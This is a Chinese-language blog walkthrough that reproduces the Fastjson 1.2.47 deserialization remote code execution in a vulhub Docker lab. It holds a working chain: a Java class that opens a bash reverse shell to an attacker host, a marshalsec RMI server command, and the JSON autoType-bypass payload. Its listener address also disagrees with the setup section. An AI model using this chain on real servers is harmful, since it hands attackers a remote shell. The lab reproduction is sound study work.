Fastjson 1.2.47 反序列化 复现

admin 2021年7月29日00:34:57评论131 views字数 1857阅读6分11秒阅读模式

环境搭建:

Fastjson靶机ip192.168.21.10 (假设公网)

Kali开启rmi服务并nc监听ip 192.168.10.12假设公网

Win服务器开启http服务存放Exploit.class 文件ip192.168.21.11 假设公网

 

使用dockervulhub

安装好后使用进入到/vulhub/fastjson/1.2.47-rce/

使用sudo docker-compose up -d 启动环境

 

Fastjson 1.2.47 反序列化 复现


访问下本地的8090端口查看是否启动

 

Fastjson 1.2.47 反序列化 复现


出现这个说明成功启动fastjson环境了

然后先去攻击机编译一个恶意的javaclass文件为之后做铺垫

新添加一个Exploit.java 文件

Exploit.java的内容为

import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
   static {
       try {
           Runtime r = Runtime.getRuntime();
           Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.21.12/5555 0>&1"});
           p.waitFor();
       } catch (Exception e) {
           // do nothing
       }
   }
}


Fastjson 1.2.47 反序列化 复现


箭头那里修改自己的nc要监听的ip和端口

然后编译成class文件

命令:javac Exploit.java

生成了Exploit.class

 

Fastjson 1.2.47 反序列化 复现

注意:javac版本最好与目标服务器接近,否则目标服务器可能无法解析class文件,会报错建议vulhub搭建的话使用Java 1.8.0_101 版本去编译

然后开一起一个http服务,可以访问class文件并可以下载就可以了

 

Fastjson 1.2.47 反序列化 复现

Fastjson 1.2.47 反序列化 复现

接着在自己的vps里开启rmi或者ldap服务

下载地址  https://github.com/mbechler/marshalsec

可以使用 git clone https://github.com/mbechler/marshalsec.git

也可以直接下载拖进去

 

Fastjson 1.2.47 反序列化 复现

下载好后然后解压sudo unzip marshalsec-master.zip

进入到这个目录里执行sudo mvn clean package -DskipTests 进行编译

 

Fastjson 1.2.47 反序列化 复现

编译好后会生成一个target文件,进入这个目录

 

Fastjson 1.2.47 反序列化 复现

需要使用到这个文件

 

Fastjson 1.2.47 反序列化 复现

然后使用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.21.11/exp/#Exploit" 9999

开启RMI服务

 

Fastjson 1.2.47 反序列化 复现

然后开启nc监听

Fastjson 1.2.47 反序列化 复现


接下来然后这个页面进行抓包

 

Fastjson 1.2.47 反序列化 复现

Fastjson 1.2.47 反序列化 复现


然后将GET改为POST 然后添加1.2.47payload

 

POST / HTTP/1.1
Host: 192.168.21.10:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 263

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.21.12:9999/Exploit",

        "autoCommit":true

    }

}


Fastjson 1.2.47 反序列化 复现

箭头指向的是kali 机器开启rmi的地址

然后rmi服务就会收到请求去加载Exploit.class

 

Fastjson 1.2.47 反序列化 复现

成功反弹到了nc

Fastjson 1.2.47 反序列化 复现



Fastjson 1.2.47 反序列化 复现


本文始发于微信公众号(安全鸭):Fastjson 1.2.47 反序列化 复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月29日00:34:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson 1.2.47 反序列化 复现http://cn-sec.com/archives/366866.html

发表评论

匿名网友 填写信息